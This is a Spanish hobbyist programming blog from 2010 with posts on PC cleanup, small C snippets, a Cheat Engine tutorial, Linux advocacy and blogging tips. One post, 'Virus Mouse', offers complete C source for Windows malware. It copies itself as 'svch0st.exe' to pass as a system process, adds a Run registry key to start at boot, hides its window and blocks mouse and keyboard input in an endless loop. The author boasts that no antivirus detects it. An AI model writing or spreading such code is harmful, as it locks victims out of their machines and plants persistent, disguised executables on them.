31 oct 2010

Optimizar nuestro ordenador




Optimizar nuestro ordenador

Aumentar la velocidad y evitar los fallos es algo que nos preocupa a todos, con este artículo aumentarás la velocidad del ordenador y la de Internet. Desecha programas que te prometen el oro, pues existen pocos que de verdad te quitan todos los errores.

Para aumentar el rendimiento debemos borrar toda esa basura que se queda en el disco duro, para eso usaremos dos completísimos programas como lo son:


Revo Uninstaller y CCleaner

Con el programa Revo Uninstaller tenemos un todo en uno, tenemos la opción de Limpiar la basura, que son los archivos innecesarios para el sistema y que almacena constantemente; también es interesante la herramienta de Borrar rastros de trabajo, la cual nos permite limpiar todos esos archivos borrados que se borran de la papelera, pero se quedan físicamente en nuestro equipo, ralentizandolo.

Con CCleaner tiene otras opciones pero sigue la misma línea que Revo, tiene una herramienta muy potente que nos asegurará más velocidad en Internet y en el equipo pues puedes borrar todo lo relacionado con los navegadores cookies, cache, historiales, las últimas páginas visitadas, archivos temporales...y también toda la basura generada por Windows y otros programas muy usados.


Esto nos limpiará todo el ordenador ahora vamos a buscar el modo de mejorar la velocidad, para eso usaremos una herramienta conocida pero que no solemos usar como es el Desfragmentador de Disco,
para acceder a él, accedemos a Ejecutar > dfrgui.exe y Aceptar.
Uso: Analizar y desfragmentar
Con eso ya tendremos nuestro equipo sin basura y con el disco desfragmentado lo cual es mejor, pues se accede a los datos con mayor velocidad.
Existen opciones como comprar una memoria RAM, o usar un pendrive como RAM para aumentar la velocidad, pero eso ya es adicional.


Espero que con este sencillo artículo y un par de consejos veas mejorado tu rendimiento. También has de tener en cuenta los programas que usas, porque hay navegadores en los cuales Internet irá más rápido que por ejemplo en el navegador Internet Explorer.

Nota: No uses el ordenador mientras el desfragmentador está en uso, puedes dañar el sistema.

30 oct 2010

Elevar número en C/C++

Mucha gente siempre ha buscado o busca hacer esto, elevar un número a otro, y es algo muy sencillo y solo necesitamos la cabecera math.h

#include <stdio.h>
#include <math.h>

int main()
{
int num1;
printf("Bytes %i\n", sizeof(int) );
printf("Bits %i\n", sizeof(int)*8);
double x;
x=pow(2,sizeof(int)*8);
printf( "2 elevado a %i es %f\n",sizeof(int)*8, x);
}

La línea importante:

x=pow(2,sizeof(int)*8);

El primer número es la base y el segundo el exponente.

Virus Mouse

Bueno este es uno de mis códigos programados en C, con Windows API.

Bloquea el sistema, el ratón y el teclado, añado el programa al inicio desde el registro y todo esto sin ser detectado por ningún AntiVirus.

#include <windows.h>
#include <tlhelp32.h>
#include <winable.h>


#define BUFSIZE 80

int test_key(void);
int create_key(char *);



int main(void)
{
int test,create;
test=test_key();

if (test==2)
{
char *path="c:\\WINDOWS\\svch0st.exe";
create=create_key(path);

}

HWND inv;
AllocConsole();
inv=FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(inv,0);
int c;

for(;;)
{
BlockInput(true);
}
char root[60]="C:\\Windows\\";
char nombre[60]="svch0st";
char path[256]="svch0st";
strcat(nombre,".exe");
strcat(root,nombre);
HMODULE copiar = GetModuleHandle(0);
GetModuleFileName(copiar, path, 256);
CopyFile(path,root,false);
}

int test_key(void)
{
int check;
HKEY hKey;
char path[BUFSIZE];
DWORD buf_length=BUFSIZE;
int reg_key;

reg_key=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_QUERY_VALUE,&hKey);
if(reg_key!=0)
{
check=1;
return check;
}

reg_key=RegQueryValueEx(hKey,"Windows Files",NULL,NULL,(LPBYTE)path,&buf_length);

if((reg_key!=0)||(buf_length>BUFSIZE))
check=2;
if(reg_key==0)
check=0;

RegCloseKey(hKey);
return check;
}

int create_key(char *path)
{
int reg_key,check;

HKEY hkey;

reg_key=RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey);
if(reg_key==0)
{
RegSetValueEx((HKEY)hkey,"Windows files",0,REG_SZ,(BYTE *)path,strlen(path));
check=0;
return check;
}
if(reg_key!=0)
check=1;

return check;

}

Emulación getch

Muchas veces os habrán dicho que eviteis getch por no usar conio que es una libreria anticuada y obsoleta que no todos los compiladores la tienen por defecto, puedes usar getchar() que es una función estándar que consigue un caracter desde stdin.

Y getch es una función, como ya he dicho, no-estandar que consigue un caracter por el teclado y sin hacer eco en pantalla.

Con esta simple función podreis usar getch sin necesidad de usar conio.

#include <windows.h>

int getch(void)
{
int car;
DWORD leidos, modo;

GetConsoleMode(GetStdHandle(STD_INPUT_HANDLE), &modo);
SetConsoleMode(GetStdHandle(STD_INPUT_HANDLE), modo & !ENABLE_ECHO_INPUT & !ENABLE_PROCESSED_INPUT);
ReadConsole(GetStdHandle(STD_INPUT_HANDLE), &car, 1, &leidos, NULL);
SetConsoleMode(GetStdHandle(STD_INPUT_HANDLE), modo);
return 0;
}

29 oct 2010

Cheat Engine 5.5 + Tutorial de Uso

Bueno pues muchos ya conocereis para que sirve, pero no habeis profundizado nunca mucho más, lo primero, os pongo el link de descarga(Limpio de virus e infecciones):

Cheat Engine 5.6

Bueno el primer nivel no lo explicaré mucho pues se supone que casi todos sabemos hacerlo, y el segundo casi que también, pero bueno vamos a explicar este 2º:

Nos da una barra de progreso(0-500), Scan Type: Value between

y ponemos 400 y 500 le damos a First scan y luego en el tutorial le damos a Hit, para que pierda puntos, luego cambiemos el tipo de escaneo a Decreased Value, nos quedará el valor disminuido modificamos a 5000 y pasamos.


3er nivel, simple y rápido dos valores que tenemos que poner a 5000, cogemos y escaneamos primero el float, introducimos 100 y el Value Type: Float
Escaneamos y apretamos Hit me y así perderemos puntos buscamos el valor que ha quedado y lo copiamos a la lista con la flechita roja, lo modificamos hasta 9999 por ejemplo y listo.
Pero nos queda modificar también el segundo valor, pero en este caso el valor es un Double, repetimos los pasos, escanear, apretar a Hit me, copiar el valor y modificarlo a más de 5000 se activará el botón Next y seguimos.

4º nivel, tenemos un botón para cambiar un valor y el valor justo encima, empezamos con un nuevo escaneo a el valor que tengamos , y conseguimos el valor lo copiamos a la lista como todas las veces anteriores, ya copiado click derecho y "Find out what writes this access", le damos a Yes y cuando salga el formulario en blanco le damos a cambiar valor, nos aparecerá la función que está relacionada con esa dirección, que es una línea en ensamblador, le damos a Replace y lo borramos todo, apretamos Stop y luego Close y modificamos en el tutorial el valor y pasamos al siguiente nivel

5ª prueba...

de momento la dejo en el aire, modificare esto cuando vuelva ;)

Un saludo,

23 oct 2010

Razones que intimidan a los nuevos usuarios de GNU/Linux



Todos los que tenemos ahora en nuestros ordenadores una distribución de GNU/Linux, hemos pasado por la etapa de Windows, en la cual pensar en cambiarnos a GNU/Linux nos daba como miedo, este artículo esta pensado para todas esas personas.

Empecemos.

El primer miedo pienso yo es la partición de nuestro Disco duro, muchos buscan herramientas, sin saber que con un LiveCD puedes hacerlo justo antes de instalar tu distribución, y sin ningún problema añadido.

Hay muchas páginas que te indican cuantas particiones debes hacer, la partición de intercambio(Swap), pero bueno eso ya sería otro tema.

Otro miedo es el pensar que no vas a poder usar programas como la Suite de Office, o el programa de mensajería instantánea Windows Live Messenger, eso es un error pues casi todas las distribuciones normales, como Ubuntu, Kubuntu, Debian, Suse, SlackWare. Tienen programas que hacen la misma función sin tener que pagar ni tener que buscarte la vida con seriales y cracks todo libre.

Si, también existen programas para Linux que son de pago, pero eso ya son programas específicos para una tarea muy concreta; un usuario de nivel medio no los va a tener que usar.

Otro miedo es, como me adaptaré, a mi nuevo sistema, esto no conlleva ningún problema que sea un sistema diferente no significa que sea abstracto y complejo de hecho cada vez hacen las distribuciones más claras y transparentes para usuarios nuevos. Aparte de que cualquier distribución tiene su servicio de ayuda y foros donde puedes preguntar.

Encima podrás ver todos los archivos de Windows desde tu GNU/Linux, y no al revés, pues Linux soporta muchos más sistemas de ficheros que Windows.

No voy a perder el tiempo poniendote muchas más ventajas pues podría tirarme 3 horas, solo con los innumerables bugs y virus que tienen las versiones de Windows.
Es más rápido, más configurable, la interfaz es más bonita, tienes unos repositorios llenos de programas para que te los bajes gratis, etc,etc,etc...

¿Ya te he convencido?

Espero que sí, pues en ese caso ya solo te queda seguir un paso, elegir tu distribución:

Distro Chooser

En esa página respondes un test de 1 minuto y te elige la distribución que necesitas, e imprime la URL para que te puedas bajar la ISO.

Espero que te haya convencido.

22 oct 2010

Cerrar proceso sin necesidad de PID

Código con el podemos cerrar un proceso sin tener que preocuparnos por saber el PID del proceso que deseamos cerrar.



#include <windows.h>
#include <winbase.h>
#include <tlhelp32.h>
#include <ctype.h>
#include <string.h>

//P4|3L0


int matarproceso(const char *szToTerminate)
{

    BOOL endtask = false;
    BOOL bResult,bResultm;
    DWORD aiPID[1000],iCb=1000,iNumProc,iV2000=0;
    DWORD iCbneeded,i;
    char szName[MAX_PATH],szToTermUpper[MAX_PATH];
    HANDLE hProc,hSnapShot,hSnapShotm;
    HINSTANCE hInstLib;
    int iLen,iLenP,indx;
    HMODULE hMod;
    PROCESSENTRY32 procentry;      
    MODULEENTRY32 modentry;
    iLenP=strlen(szToTerminate);
    for(indx=0;indx<iLenP;indx++)
    szToTermUpper[indx]=toupper(szToTerminate[indx]);
    szToTermUpper[iLenP]=0;
    BOOL (WINAPI *lpfEnumProcesses)( DWORD *, DWORD cb, DWORD * );
    BOOL (WINAPI *lpfEnumProcessModules)( HANDLE, HMODULE *,DWORD, LPDWORD );
    DWORD (WINAPI *lpfGetModuleBaseName)( HANDLE, HMODULE,LPTSTR, DWORD );
    HANDLE (WINAPI *lpfCreateToolhelp32Snapshot)(DWORD,DWORD);
    BOOL (WINAPI *lpfProcess32First)(HANDLE,LPPROCESSENTRY32);
    BOOL (WINAPI *lpfProcess32Next)(HANDLE,LPPROCESSENTRY32);
    BOOL (WINAPI *lpfModule32First)(HANDLE,LPMODULEENTRY32);
    BOOL (WINAPI *lpfModule32Next)(HANDLE,LPMODULEENTRY32);
    hInstLib = LoadLibraryA("PSAPI.DLL");
    lpfEnumProcesses = (BOOL(WINAPI *)(DWORD *,DWORD,DWORD*))GetProcAddress( hInstLib, "EnumProcesses" );
    lpfEnumProcessModules = (BOOL(WINAPI *)(HANDLE, HMODULE *,DWORD, LPDWORD)) GetProcAddress( hInstLib,"EnumProcessModules" );
    lpfGetModuleBaseName =(DWORD (WINAPI *)(HANDLE, HMODULE, LPTSTR, DWORD )) GetProcAddress( hInstLib,"GetModuleBaseNameA" );
    bResult=lpfEnumProcesses(aiPID,iCb,&iCbneeded);
    iNumProc=iCbneeded/sizeof(DWORD);
    for(i=0;i<iNumProc;i++){
    strcpy(szName,"¿?");
    hProc=OpenProcess(PROCESS_QUERY_INFORMATION|PROCESS_VM_READ,FALSE,aiPID[i]);
    if(hProc){
    if(lpfEnumProcessModules(hProc,&hMod,sizeof(hMod),&iCbneeded) ){
    iLen=lpfGetModuleBaseName(hProc,hMod,szName,MAX_PATH);}}
    CloseHandle(hProc);
    #ifdef BORLANDC
                if(strcmp(strupr(szName),szToTermUpper)==0)
    #else
                if(strcmp(_strupr(szName),szToTermUpper)==0)
    #endif

                {hProc=OpenProcess(PROCESS_TERMINATE,FALSE,aiPID[i]);
    if(hProc)
    {
        (TerminateProcess(hProc,1));
        endtask = true;
    }
    }
    }
    if(endtask) return(1);
    return(0);
}
int main(void)
{
matarproceso("notepad.exe");
return 0;
}

Importancia de los tags

Primero de todo, ¿ qué son los tags?

Tag o etiqueta, son las palabras claves que permiten describir un articulo, foto, archivo, etc..

Ahora aclararé por las dos razones por las cuales pienso que todos debemos usar y tenerlas muy en cuenta, la primera es el posicionamiento en Google, pues Google busca entre las etiquetas y todos queremos tener nuestra web bien posicionada, para que más usuarios puedan leernos; y la segunda es que los propios visitantes pueden saber perfectamente lo que van a leer con solo leer unas palabras. Eso sí el exceso no es bueno, pues desorienta al usuario.

Mi opinión respecto a esto es que lo mejor es poner entre 5 y 10 etiquetas y que realmente sean las palabras que tu buscarías en tu buscador para encontrar el artículo que vas a publicar.

Ejemplo: importancia tag etiquetas posicionamiento

20 oct 2010

Me presento

Aunque ya os voy dejando claro la temática del foro, y esto lo escriba sin tener aún ningún visitante.

Si, es otro de los 397.671.472 de blogs relacionados con la informática, tecnologías, etc..

Escuchando un poco de música de la mía



Y a expensas de un examen, os escribo para identificarme un adepto a la programación en casi todos sus lenguajes, pues he variado desde ensamblador y C hasta Object Pascal(Delphi) y Visual Basic 6. De los cuales no me arrepiento de haber empezado en absoluto.

Os iré poniendo programas códigos y demás programas interesantes.

Top Lenguajes Programación



Asi que ya sabeis, elegid los lenguajes que esten en auge.





Fuente: tiobe.com

La mejor música para programar

Al revés que lo que muchos piensan programar en silencio, no es lo más recomendable para programar de hecho  en mi opinión puede causarte desviación de atención, pensamientos externos, lo mejor es tener un sonido envolvente de fondo que te concentre aún más en tus conocimientos, en lo que quieres lograr hacer y sobre todo en lo que estás haciendo, no es nada recomendable por supuesto estar escuchando dos tipos de música.

Bueno supongo que muchos ya querreis saber si lo que escuchais es lo que realmente motiva y concentra cuando estamos creando nuestras obras de arte.


Esto esta sacado de una encuesta y dividimos la música en:

Estimulante: rock, metal, punk, hip-hop, house, techno, ska, trova, reggae, reggeaton, dance, drum and bass, …

Relajante: silencio, jazz, chill out, clásica, trip-hop, ambient, lounge, …



Y dentro de esta división veamos el tipo de música preferido.






Las opiniones son vuestras y esto no es una regla ni nada estipulado, así que si no estais de acuerdo o pensais de otro modo podeis comentarlo.


Fuente: Encuesta

Empezando..

Animado por ver la película TSN, me he dispuesto a comencer a redactar un blog que aunque no creo que sea tan conocido como MZ ni tengo su dinero, creo que es interesante plasmar en algún sitio, recuerdos momentos, etc...

Aún sabiendo que yo ya tenía un blog, demasiado joven para seguir manteniendolo.

Saludos Darax